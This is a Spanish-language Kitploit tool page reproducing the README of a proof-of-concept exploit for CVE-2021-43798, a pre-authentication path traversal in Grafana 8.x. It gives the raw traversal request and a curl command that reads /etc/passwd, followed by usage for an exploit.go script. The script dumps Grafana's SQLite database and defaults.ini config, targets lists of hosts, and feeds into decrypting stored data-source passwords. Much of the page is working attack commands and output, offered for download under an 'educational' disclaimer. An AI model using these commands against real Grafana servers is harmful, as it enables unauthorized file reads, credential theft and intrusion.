Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-autenticación) | Kitploit
Herramientas/GitHubGitHub/taythebot/cve-2021-43798
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y Educación
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-autenticación)

Ver Repositorio
4181hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

Todo el crédito es para j0v y su tweet https://twitter.com/j0v0x0/status/1466845212626542607

Aviso legal

Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio.

De buena fe, he retenido la publicación de este PoC hasta que esta vulnerabilidad sea pública o haya un parche disponible.

Tabla de contenido

  • Explicación - Explicación de la vulnerabilidad
  • Vectores de ataque - Lista de ataques que puedes llevar a cabo
  • Script de explotación - Uso del script de explotación

Explicación

Vi un tweet de j0v afirmando haber encontrado un fallo de path traversal en Grafana. Por curiosidad, empecé a mirar el código fuente de Grafana. En el tweet se mencionaba que era un fallo pre-autenticación. Solo hay un par de endpoints públicos de API en Grafana, y solo uno de ellos tomaba una ruta de archivo del usuario.

Grafana tiene un endpoint público de API, /public/plugins/:pluginId, que te permite ver los recursos de un plugin. Esto funciona proporcionando un :pluginId válido y luego especificando la ruta del archivo, como . Sin embargo, Grafana no sanea la ruta de archivo proporcionada por el usuario, lo que provoca un path traversal.

img/logo.png

El directorio al que se accede está en <grafana>/public/app/plugins/panel/<pluginId>. En una instalación estándar de Grafana, el directorio de datos de Grafana es /usr/share/grafana. Por lo tanto, retrocediendo 8 directorios, puedes llegar al directorio raíz del sistema de archivos.

Petición HTTP:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Código ofensivo: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

Nota: Esto no funciona en el navegador (que colapsa automáticamente el ../ en la ruta)

Se puede probar con curl usando el argumento --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Vectores de ataque

Estos son algunos ataques que se pueden llevar a cabo usando esta vulnerabilidad

Volcado de la base de datos Sqlite

Grafana, por defecto, usa una base de datos sqlite3. Esta se almacena en /var/lib/grafana/grafana.db. Puedes usar el script exploit.go para volcar esta base de datos

Ejemplo:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

Luego puedes leer esta base de datos para obtener usuarios, tokens de autenticación y fuentes de datos.

Volcado del archivo de configuración defaults.ini

Grafana almacena su configuración en un archivo <grafana>/conf/defaults.ini. Hay un par de valores interesantes aquí, como secret_key, host, user, password si se usa mysql en lugar de sqlite3.

Ejemplo:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

Referencia: https://grafana.com/docs/grafana/latest/administration/configuration/

Descifrado de contraseñas de fuentes de datos

Grafana cifra todas las contraseñas de las fuentes de datos usando AES-256-CBC con la secret_key del archivo de configuración defaults.ini. Podemos volcar este archivo de configuración, como se muestra arriba, y luego descifrar los valores de la base de datos.

Referencia: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

Toma de sesión

Grafana almacena los tokens de sesión en la tabla auth_tokens. No he podido tomar una sesión, pero si lees el código fuente, podrías descubrir cómo hacerlo.

Script de explotación

Ejemplo

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Objetivo único

root@kitploit:~
go run exploit.go -target <target> -file <path>

Salida a archivo

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

Nota: No funciona con múltiples objetivos

Múltiples objetivos

root@kitploit:~
go run exploit.go -list <list> -file <path>

Volcar defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

Volcar base de datos sqlite3

root@kitploit:~
go run exploit.go -target <target> -dump-database

Compilar

root@kitploit:~
make build
Descargar herramienta